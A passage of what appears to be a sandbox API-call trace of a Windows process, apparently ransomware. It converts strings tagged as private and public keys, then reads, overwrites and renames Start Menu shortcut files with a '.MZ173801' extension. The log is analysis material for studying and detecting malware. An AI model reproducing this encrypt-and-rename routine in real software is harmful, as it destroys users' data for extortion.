WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0213.683] GetCurrentThreadId () returned 0xab4 [0213.683] GetCurrentThreadId () returned 0xab4 [0213.683] GetCurrentThreadId () returned 0xab4 [0213.684] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0213.684] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0213.684] GetCurrentThreadId () returned 0xab4 [0213.684] GetCurrentThreadId () returned 0xab4 [0213.684] GetCurrentThreadId () returned 0xab4 [0213.684] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (32-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (32-bit).lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.684] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0213.684] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.684] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x474 [0213.684] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.684] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x474, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x474, lpOverlapped=0x0) returned 1 [0213.701] CloseHandle (hObject=0x330) returned 1 [0213.701] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (32-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (32-bit).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.702] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x474, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x474, lpOverlapped=0x0) returned 1 [0213.703] CloseHandle (hObject=0x330) returned 1 [0213.704] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (32-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (32-bit).lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (32-bit).lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (32-bit).lnk.mz173801")) returned 1 [0213.704] GetCurrentThreadId () returned 0xab4 [0213.704] GetCurrentThreadId () returned 0xab4 [0213.704] GetCurrentThreadId () returned 0xab4 [0213.704] GetCurrentThreadId () returned 0xab4 [0213.704] GetCurrentThreadId () returned 0xab4 [0213.704] GetCurrentThreadId () returned 0xab4 [0213.704] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x474, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="ODBC Data Sources (64-bit).lnk", cAlternateFileName="")) returned 1 [0213.705] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.705] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.705] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (64-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (64-bit).lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x474)) returned 1 [0213.705] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (64-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (64-bit).lnk")) returned 0x20 [0213.705] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (64-bit).lnk", dwFileAttributes=0x80) returned 1 [0213.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0213.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 